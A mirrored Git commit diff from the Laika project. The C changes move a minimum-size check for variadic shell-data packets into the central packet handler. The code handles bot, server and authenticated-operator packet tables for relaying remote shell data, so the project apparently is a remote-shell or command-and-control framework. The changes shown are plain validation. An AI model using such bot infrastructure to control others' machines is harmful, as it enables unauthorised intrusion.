1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

Lib: Variadic packets now use the 'size' field as a minimum requirement

This commit is contained in:
CPunch 2022-06-30 10:00:11 -05:00
parent bc071c10d2
commit 18a6fdd124
6 changed files with 11 additions and 7 deletions

View File

@ -56,7 +56,7 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaB_handleShellData, laikaB_handleShellData,
0, sizeof(uint32_t), /* packet must be bigger than this */
true), true),
}; };

View File

@ -128,7 +128,7 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleShellData, laikaC_handleShellData,
0, sizeof(uint32_t), /* packet must be bigger than this */
true), true),
}; };
@ -144,7 +144,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleAuthenticatedShellData, laikaC_handleAuthenticatedShellData,
0, sizeof(uint32_t), /* packet must be bigger than this */
true), true),
}; };

View File

@ -103,7 +103,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
struct sLaika_shellInfo *shell; struct sLaika_shellInfo *shell;
uint32_t id; uint32_t id;
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t)) if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n"); LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));

View File

@ -193,7 +193,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id; uint32_t id;
/* ignore packet if malformed */ /* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t)) if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
return; return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));

View File

@ -244,6 +244,10 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
!peer->packetTbl[peer->pktID].variadic) !peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID); LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* sanity check minimum size */
if (peer->pktSize <= peer->packetTbl[peer->pktID].size)
LAIKA_ERROR("requested variable packet is too small!\n");
/* if peer->useSecure is true, body is encrypted */ /* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true); laikaS_startInPacket(peer, true);
goto _HandlePacketBody; goto _HandlePacketBody;

View File

@ -131,7 +131,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id; uint32_t id;
/* ignore packet if malformed */ /* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t)) if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
return; return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
@ -191,7 +191,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData, shellC_handleShellData,
0, sizeof(uint32_t), /* packet must be bigger than this */
true) true)
}; };